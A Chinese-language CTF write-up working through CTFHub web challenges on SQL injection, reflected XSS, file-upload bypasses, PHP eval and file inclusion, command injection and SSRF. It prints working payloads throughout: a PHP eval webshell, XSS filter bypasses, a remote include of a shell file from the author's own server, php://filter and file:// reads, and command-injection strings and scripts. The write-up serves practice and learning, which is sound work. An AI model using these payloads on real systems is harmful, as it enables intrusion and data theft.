"http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id=1", "Upgrade-Insecure-Requests": "1"} print(requests.get(burp0_url + quote(id), headers=burp0_headers).text)
按理说用括号来代替也可以,但是括号的替换难度较大,可能我的姿势不对,没有成功。
用sqlmap的时候发现了一个功能,sqlmap原始的payload尝试应该都是用的空格来分隔的,所以它就会返回id不可注入的结果。
查阅资料后发现sqlmap有个叫做tamper的功能。实际上就是在tamper文件夹下有一些脚本。
这道题里就可以使用里面的space2comment.py
脚本,把空格转化为注释符。
1 python3 sqlmap.py -u "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id=1" -p id --level 3 --tamper="space2comment.py"
运行后就可以发现sqlmap已经可以发现注入点了。
虽然是时间盲注2333,可能sqlmap对页面的具体内容很难进行判断,无法在页面上获得succcess_flag
,对它来说用页面相应的时间来说还更简单了2333。
到这里ctfhub的sql注入题目就做完了。
XSS 反射型本来看ctfhub上有xss的题目,打算好好学习一波,结果点开一看,只有一道题2333。
便现在dvwa上熟悉了一波。所谓反射型是相对于存储型来讲的。
如果黑客的xss注入是通过某种方式储存到了数据库中,那就是存储型的,这种xss的特点就是每次访问该页面都会收到xss攻击,因为js语句已经放在数据库里了。
而反射型xss则不是这样,每次触发只能手动输入和点击才能触发。
我认为xss产生的原因主要是对html标签审查不严格造成的。
下面写一下dvwa中的三种难度的反射型xss。
1
2
3
4
5
6
7 <?php // Low难度 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
这里没有对输入$_GET['name']
做任何限制,我们完全可以在这个变量里写一个script标签。
1
2
3
4
5
6
7
8
9
10 <?php // Medium 难度 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
这里把输入里的<script>
替换为了空字符。但是这里是大小写敏感的,我们完全可以大写绕过。
1 <Script>alert("medium")</script>
或者双拼绕过。
1 <scri<script>pt>alert("medium")</script>
1
2
3
4
5
6
7
8
9 <?php // High 难度 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
最高难度用了正则匹配,并且大小写不敏感。上面两种方法都失效了。
但是它只过滤了script
标签这种xss,还可以利用img标签报错来实现弹窗。
1 <img src=0 onerror=alert("high")>
然后我便开始做ctfhub的题目了。我试了一下,发现它没有任何验证,可以直接xss。
但是我不知道flag会藏在哪里,xss的作用只是操控js,会不会藏在cookie里呢?
很不幸,没有flag。我陷入了人生和社会的大思考。
最终没法,看了writeup。发现需要利用到第二个输入框。
第二个输入框点击send之后就会显示successfully
,但是这个它发送到哪里无法确定,这个网页用到Bootstrap,我不太熟悉。这可以肯定的是它有一个后端。
然后可以利用xss platform 来进行获得它与后端的信息。
在xss platform里新建一个项目然后复制其中的实例代码。
把payload在第一个输入框提交,然后复制url到第二个输入框提交后,就会在xss platform里得到相应。
下面进行战术总结
我们一开始直接用xss来看cookie,发现没有flag。我一开始觉得奇怪,觉得flag就应该藏到这个地方,不然还能藏哪呢?
我这里犯了一个原则性的错误。我们用xss一般的用途是什么?是获取cookie嘛?
是获取cookie,但更准确的说,是获取别人的cookie。
cookie相当于每个人的登录凭证,如果得到了别人的cookie,我们将可以不用输账号密码,直接登录。
所以flag一定是不可能藏在自己的cookie里的,自己的cookie没有意义,自己的cookie能直接浏览器控制台里知道,也不需要xss。ctf的题目应该是让我们获得别人的cookie,但是这是ctf的题目,不是公共的服务,没有其他用户,所以ctf模拟了一个机器人。
那就很清楚了,我们的目标就是获得这个机器人的Cookie,然后"盗它的号",所以获取了这个机器人的Cookie就意味着成功。所以理所应当的,flag也就藏在cookie里了。
所以第二个文本框就是模拟别人点击这个包含xss的链接的情形。
文件上传 无验证最简单的文件上传,传个php一句话木马即可。
1 <?php @eval($_POST['wuuconix']); ?>
之后用蚁剑连接就可以得到flag啦!
前端验证网页源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 <body> <h1>CTFHub 文件上传 - js前端验证</h1> <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> <script> function checkfilesuffix() { var file=document.getElementsByName('file')[0]['value']; if(file==""||file==null) { alert("请添加上传文件"); return false; } else { var whitelist=new Array(".jpg",".png",".gif"); var file_suffix=file.substring(file.lastIndexOf(".")); if(whitelist.indexOf(file_suffix) == -1) { alert("该文件不允许上传"); return false; } } } </script> </body>
发现它在上传文件时调用了一个函数,这个函数只允许上传三种图片格式的文件。
这但是在前端验证,我们用burp抓包,先给它传一个2.jpg
,先过前端验证,然后前端向后端请求的包会被burp抓到,这时候在请求包里包把文件名改成2.php
就实现绕过前端验证并传马啦!
下面是原始请求包[节选]
1
2
3
4
5
6
7
8
9
10 -----------------------------27707769729801775931606292902 Content-Disposition: form-data; name="file"; filename="2.jpg" Content-Type: image/jpeg <?php @eval($_POST['wuuconix']); ?> -----------------------------27707769729801775931606292902 Content-Disposition: form-data; name="submit" Submit -----------------------------27707769729801775931606292902--
我们只要把文件名改成以下即可。
1
2
3
4
5
6
7
8
9
10 -----------------------------27707769729801775931606292902 Content-Disposition: form-data; name="file"; filename="2.php" Content-Type: image/jpeg <?php @eval($_POST['wuuconix']); ?> -----------------------------27707769729801775931606292902 Content-Disposition: form-data; name="submit" Submit -----------------------------27707769729801775931606292902--
成功上传并连接。
这也证明了一个事情,就是请求包里的Content-Type
不改也行,只要后缀名是php
,就能发挥它的职能,这个Content-Type应该只是传输过程中给服务器端的提示罢了,如果服务器端没有对该属性进行处理,那么它就是无效的。如果后台对这个Content-Type做了某种验证的话,我们就必须也得改了。
这是一种做法,既然验证代码在前端 ,可不可以直接把script标签删掉来绕过前端验证呢?
我试了一下,直接在源代码里把script
标签删掉是掩耳盗铃,不能实现效果。但是如果利用Burp修改题目的Response,在相应里直接把script
标签删掉就能够实现。
一般情况下Burp只是代理我们的请求,我还没有试过代理相应。
设置如下图。
然后刷新一下页面,Forward一下,让自己的请求先发出去,然后你就会看到服务器的相应了。
在这个相应里把script标签删掉。
这时渲染出来的页面就是真真切切没有script标签的了。
能够直接上传php木马了。
.htaccess题目在注释中给出了后端php的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $ext = pathinfo($name)['extension']; $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf"); if (!in_array($ext, $blacklist)) { if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "<script>alert('文件类型不匹配')</script>"; } }
在后端把一些常见的木马后缀全部ban掉了,而且因为是后端验证,前端怎么改也没用。
这里就需要用到.htaccess
,它是apcache中的配置文件。我们可以利用它实现把.jpg
格式的文件拥有php脚本的能力。
一般有两种写法。
1 AddType application/x-httpd-php .jpg
1
2
3 <FilesMatch ".jpg"> SetHandler application/x-httpd-php </FilesMatch>
所以只要先长传一个后缀在黑名单之外的.htaccess
文件,让.jpg
拥有也可以变为php脚本 ,再上传一个内部写有一句话木马的1.jpg
,就能够挂马了。
MIME绕过MIME是什么呢?上一篇.htaccess
中出现的application/x-httpd-php
其实就属于MIME的一种未被官方承认的类型。
MIME:M ultipurpose I nternet M ail E xtensions 中文专业名称为多用途互联网邮件扩展。
原来的邮件只支持7位ASCII字符集以内的字符,而MIME的提出则支持了其他的字符,甚至支持了图像、视频、音频等二进制文件。
我们在http请求报文中看到的Content-Type
字段就是用来提供发送文件的MIME类型的。以下列出常用的MIME类型。
text/plain(纯文本 )
text/html(HTML文档)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)【PHP中为:image/pjpeg】
image/png(PNG图像)【PHP中为:image/x-png】
video/mpeg(MPEG动画)
application/octet-stream(任意的二进制数据)
application/pdf(PDF文档)
application/msword(Microsoft Word文件)
application/vnd.wap.xhtml+xml (wap1.0+)
application/xhtml+xml (wap2.0+)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded(使用HTTP的POST方法提交的表单)
multipart/form-data(同上,但主要用于表单提交时伴随文件上传的场合)
此外,尚未被接受为正式数据类型的subtype,可以使用x-开始的独立名称(例如application/x-gzip)。vnd-开始的固有名称也可以使用(例:application/vnd.ms-excel)
在这道题里就是对文件的Content-Type类型做了限制,而没有对后缀名做任何限制。题目php源代码如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) { echo "<script>alert('文件类型不正确')</script>"; } else { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } } ?>
所以我们只需要传一个1.php
,然后发送的时候用burp把Content-Type改成其中一个就行啦!
文件头检查听题目就可以看出来后台对文件的文件头做了检测。只支持图片。
我做题的姿势非常骚气。
首先利用python的pillow
模块生成了一个1*1像素的png文件。
1
2
3
4
5 from PIL import Image img = Image.new("RGB", (1,1), "png") with open ("red.png", "wb") as f: img.save(f)
然后上传,顺便用Burp拦截。
这是原始请求头。
图中乱码的部分应该就是二进制图片的内容。这时我们我们先把文件名改成red.php
,再在图片二进制内容的后面加上一句话木马。
然后就能直接蚁剑连接了。顺便把它的源码偷过来以后用2333。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50 <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { if (!$_FILES['file']['size']) { echo "<script>alert('请添加上传文件')</script>"; } else { $file = fopen($_FILES['file']['tmp_name'], "rb"); $bin = fread($file, 4); fclose($file); if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) { echo "<script>alert('文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件')</script>"; } else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) { echo "<script>alert('文件错误')</script>"; } else { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - 文件头检测</title> </head> <body> <h1>CTFHub 文件上传 - 文件头检测</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </form> </body> </html>
00截断00截断真的十分玄学。
首先我们来看一下这道题的源码。注:服务器的php版本为5.2.17, magic_quotes_gpc为off状态。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; $whitelist = array("jpg", "png", "gif"); if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上传成功')</script>"; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "文件类型不匹配"; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - 00截断</title> </head> <body> <h1>CTFHub 文件上传 - 00截断</h1> <form action=<?php echo "?road=" . UPLOAD_PATH; ?> method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
它首先对上传的文件的后缀进行检测,只能是三个图片文件格式。
此外对文件进行存储的时候对文件名进行重命名,在保留原后缀名的情况下把文件名淦成随机的,首先在10-99
里选一个数,再加上上传时间,这个上传时间还精确到毫秒2333,十分变态。上传了一个文件你甚至都不知道它的路径,十分绝望。
存储的路径是这样组成的$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
。其中的road
是页面自动发送的,默认值是/var/www/html/upload/
。
这里我们可以利用远古php版本有的一个00截断,手动把这个road参数改成
1 /var/www/html/upload/1.php%00.jpg
改动这个road参数不会对文件上传这个过程产生影响。
服务器那边接受到的文件还是为1.php%00.jpg
,服务器一检查后缀,哦,是.jpg,在白名单内,接下去进行存储。
按理说存储的路径应该是upload/1.php%00.jpg/5020210902203850.jpg
。
但是%00之后的所有东西都被截断了,那些随机数和时间全部失效,最终存储的文件就变成了upload/1.php
这个00截取和我一开始想象的不一样。我以为在上传过程中会直接%00后面字符全部丢掉,服务接收到的只是%00之前的内容。
但是其实不是,服务器会原样的接收该文件,只是在某些操作下,%00后面的字符会失效,但这些操作都有哪些,还不得而知。
试了好多php镜像,都无法复现。以后再说吧。
双写后缀这道题就比00截断简单多了,我们先看一下题目给我们的提示。
1
2
3 $name = basename($_FILES['file']['name']); $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"); $name = str_ireplace($blacklist, "", $name);
显然,它对我们上传的文件名中的特定字符进行了替换,但是这种替换实际上是不安全的,双拼即可绕过。例子如下。
所以我们只要上传一个1.pphphp
。经过它的处理后就变成了1.php
。
然后蚁剑连接即可。
顺便把它的源码偷下来以后用2333。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43 <?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"); $name = str_ireplace($blacklist, "", $name); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传——双写绕过</title> </head> <body> <h1>CTFHub 文件上传——双写绕过</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> <p></p> </body> </html> <!-- $name = basename($_FILES['file']['name']); $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"); $name = str_ireplace($blacklist, "", $name); -->
RCE eval执行题目如下
1
2
3
4
5
6
7 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
我看了一眼,这不就是php一句话木马嘛2333。直接蚁剑连接了,很快得到了flag。
然后我局的的还是得手动输入命令来得到flag。我是这样试的。
1 /index.php?cmd=ls
但是页面一片空白2333。
后来我才意识到,php中的eval
函数是用来执行php里的函数的,相当于把一个字符串运行。但是这个ls可不是php里的函数,需要利用system
函数来调用linux系统命令。
1 /index.php?cmd=system("ls")
结果还是不行。我再次陷入了人生和社会的大思考。
看了官方wp之后才知道eval里面的字符串需要满足一个完整的php语句的要求。即;
结尾。
忘记分号这件事实际上一直在发生,在php交互式终端如果你不输分号的话是不会有任何结果的。
只有输入分号,作为一条完整的php语句的时候才有结果。
同理eval里面的语句也必须要有分号。你不输分号它甚至会报错2333。
接下来就简单啦。
文件包含这道题也十分简单。主要的考点是include
。在php中利用该函数可以将其他文件引入当前php文件。
我之前以为引入的文件只能是php文件,现在看来根本没有这种限制,只要你被引入的文件里有php语句就能正常发挥作用,具体的文件后缀是没有影响的。
比如下面的例子 ,我引入了一个test.txt
也能够正常的发挥作用。
那我们再来看看这道题。
它提供了一个木马txt文件,同时还提供了file参数来引入文件,很显然我们只要这样就能样index.php
变成一句话木马。
1 index.php?file=shell.txt
我本来以为蚁剑这样是连不上的,结果强大的蚁剑迅速理解了意思,成功连接。
那如何手动get flag呢?只需要继续添加ctfhub参数即可。
1 index.php?file=shell.txt&ctfhub=system("cat /flag");
直接在浏览器输入以上payload即可,至于那个空格 浏览器会自动进行url编码,成为%20
。
偷源码233
1
2
3
4
5
6
7
8
9
10
11
12
13
14 <?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i have a <a href="shell.txt">shell</a>, how to use it ?
题目提示
1
2
3
4
5
6
7
8
9
10
11
12
13
14 <?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> <a href="phpinfo.php">phpinfo</a>
题目题目我们给file变量传一个php://input
。
php://input
生效的条件为:
在php.ini中的allow_url_fopen
和allow_url_include
全部开启。
这个php://input
支持post方式传输的数据流的输入。我们可以用post方式传值。
因为源代码把我们输入的代码include
的了,相当于我们写的php代码将直接在题目中发挥作用。
我么这里直接写一个
1 <?php system("ls /"); ?>
来看一看根目录下的文件们。
很顺利的找到了flag。cat即可。
再把源码偷下来233。
1
2
3
4
5
6
7
8
9
10
11
12
13
14 <?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> <a href="phpinfo.php">phpinfo</a>
远程包含php 的include在以下条件下可以引入一个url文件。
在php.ini中的allow_url_fopen
和allow_url_include
全部开启。
观察题目给出的phpinfo
符合条件。
于是我在我的阿里云服务器上开了一个服务。
然后把这个url include就可以了。
1 http://challenge-085d74ac724ca4c9.sandbox.ctfhub.com:10800/?file=https://emu.wuuconix.link/shell.txt
然后就可以连接蚁剑啦!
同时我们可以发现url include一个文件和php://input
生效的条件是一模一样的。所以在没有手动限制的情况下, 这其中一个可用,就说明另一个也可用。所以我们在这道题里同样可以使用上一道题php://input
的做法。
生效条件一样也非常好理解。php://input
能够支持用户post传的值,这对于服务器本身而言,就是外界url的文本嘛2333,相当于引入了一个url文件。故两者生效条件一致。
题目源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 <?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag?<br> <a href="phpinfo.php">phpinfo</a>
读取源代码页面提示flag在/flag
里。
php://input
失效了。
作者应该是在php.ini
中关掉了allow_url_fopen
和allow_url_include
中的一个获得都关了233。
php://input
从本质上讲是从外界url中获取文本,所以需要这两个开关保持开启。
但是php://filter
作用的对象是本地【一般我们用来都index.php嘛2333】,不需要开启这两个就可以生效。
遂用php://filter/read=convert.base64-encode/resource=
来直接读取flag的内容。
1 http://challenge-07841d369bc23ed5.sandbox.ctfhub.com:10800/index.php?file=php://filter/read=convert.base64-encode/resource=../../../../../../../flag
得到
解码后得到flag。
题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 <?php error_reporting(E_ALL); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?> <hr> i don't have shell, how to get flag? <br> flag in <code>/flag</code>
命令注入很常见的命令联合执行的题。
源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?> <!DOCTYPE html> <html> <head> <title>CTFHub 命令注入-无过滤</title> </head> <body> <h1>CTFHub 命令注入-无过滤</h1> <form action="#" method="GET"> <label for="ip">IP : </label><br> <input type="text" id="ip" name="ip"> <input type="submit" value="Ping"> </form> <hr> <pre> <?php if ($res) { print_r($res); } ?> </pre> <?php show_source(__FILE__); ?> </body> </html>
在文本框中输入完ip之后利用分号分割再加入其他命令,最后的$cmd
就会长成这样
1 ping -c 4 127.0.0.1;ls
然后调用exec
进行执行系统函数的时候就会把两句命令一起执行了。
cat那个命令后没有出来flag,在源代码中。
至于为什么不能直接在网页中看到大概是因为<?php
这种标签在html中的特定作用。
看了wp,了解到了可以这样,把文本进行一层base64加密,这样就能直接在网页里出来了。当然之后还需要手动解密。
1 127.0.0.0; cat flag | base64
过滤cat部分源码
1
2
3
4
5
6
7
8
9
10
11
12
13 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
这里注意一下php中的preg_match_all
函数。它是用来匹配正则表达式的,并且将字符串中所有匹配的符合结果存在一个列表中。例子如下。
然后我们发现题目中过滤了cat。首先我们看看flag在哪。ls一下就出来了。
很久以前我看到的一个命令,就是tac
。很显然这个命令就是cat
反过来的单词。它的实际效果也和它的名字一致。貌似就是把文本的最后一行先打印,从下往上打印。效果如下。
所以这里我们直接用tac来读flag就行啦2333。
过滤空格部分源码
1
2
3
4
5
6
7
8
9
10
11
12
13 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/ /", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
以下是绕过空格的部分方法。
1
2
3
4 cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt
在bash情况下都能实现,但是zsh下只有<
和<>
成功了。
估计在bash情况下${IFS}
和$IFS$9
的值是一个空格。但是在zsh的情况是换行的原因。
过滤目录分隔符部分源码
1
2
3
4
5
6
7
8
9
10
11
12
13 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/\//", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
flag在一个目录下边。但是过滤了/
,那怎么办呢?先cd进去不就行了2333
payload
1 1; cd flag_is_here && cat flag_14385852030406.php
过滤运算符部分源代码
1
2
3
4
5
6
7
8
9
10
11
12
13 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||\&)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
它过滤了&
和|
,但是我命令连接符号一直用的;
呀2333。
1 1;cat flag_15157229854259.php
综合过滤练习这个综合练习就非常狠了啊,过滤了一堆。
部分源代码
1
2
3
4
5
6
7
8
9
10
11
12
13 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>
但是大部分题目都知道了如何绕过,但是这个所有命令连接符& | ;
全部被过滤的情况我还是第一次见。
查询资料过后发现可以用换行符来绕过。(但是直接在Linux上貌似不能这样用,应该是php奇怪的特性
官方的wp说的是
但其实这几个url编码其实就是\n
\r
和\n\r
。
以下为payload脚本
1
2
3
4
5
6
7
8
9
10 import requests from urllib import parse from bs4 import BeautifulSoup id = parse.quote("1\ncd${IFS}fla*\ntac${IFS}f*") burp0_url = f"http://challenge-b57b1d23d9161cc7.sandbox.ctfhub.com:10800/?ip={id}" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-b57b1d23d9161cc7.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"} respoonse = requests.get(burp0_url, headers=burp0_headers).text soup = BeautifulSoup(respoonse, 'html.parser') print(soup.pre)
哦对了,它还过滤了flag
。可以用cd fla*
来进入目录和用tac f*
来读flag。
这里还用到了BeautifulSoup
这个库来方便得观察response。
响应中有一堆无关信息,有用得信息在<pre>
标签中。
我们可以用soup.pre
来将pre标签从响应中拿出来观察。十分方便。
SSRF 内网访问提示内网的flag.php。url中有url参数。填入即可。
看了一下别人的wp。发现更好的填法应该是?url=http://127.0.0.1/flag.php
。
伪协议读取文件直接上http协议的话没有看到flag。估计flag藏在php的注释中,无法直接看到。
可以用file协议来读文件。
1 http://challenge-b5191e365b757889.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
端口扫描这道题提示flag在8000-9000端口中。
一开始用Burp直接爆破 端口。但是貌似由于请求速度过快,导致一些页面返回503,从而无法得到正确答案,但是我也不知道这个怎么设置2333。我的这个Burp版本和网上的也不太一样 。
然后我就用python写脚本试端口。一开始用的代码时burp上直接转化出来的,它有一个特点就是get没有params
值,最后也没有正确得到结果。
最后还是自己改一下吧2333,加上了params
参数。不能太迷信工具。
1
2
3
4
5
6
7
8
9
10
11
12 import requests for port in range(8000, 9000): burp0_url = f"http://challenge-85119fa5ff180354.sandbox.ctfhub.com:10800/" param = {"url": f"http://127.0.0.1:{port}"} response = requests.get(burp0_url, params=param).text if(response == ""): print(f"port: {port} failed!") else: print(f"port: {port} success!") print(response) break
最后在8162端口找到了flag。
POST请求dirsearch扫描后发现flag.php
和index.php
。
它还是提供了url参数来供我们访问内网文件。我们可以分别利用http协议和file协议来查看文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 # view-source:http://challenge-97df9c16e9c64c56.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php <?php error_reporting(0); if (!isset($_REQUEST['url'])){ header("Location: /?url=_"); exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 # view-source:http://challenge-97df9c16e9c64c56.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>
我们仔细观察flag.php
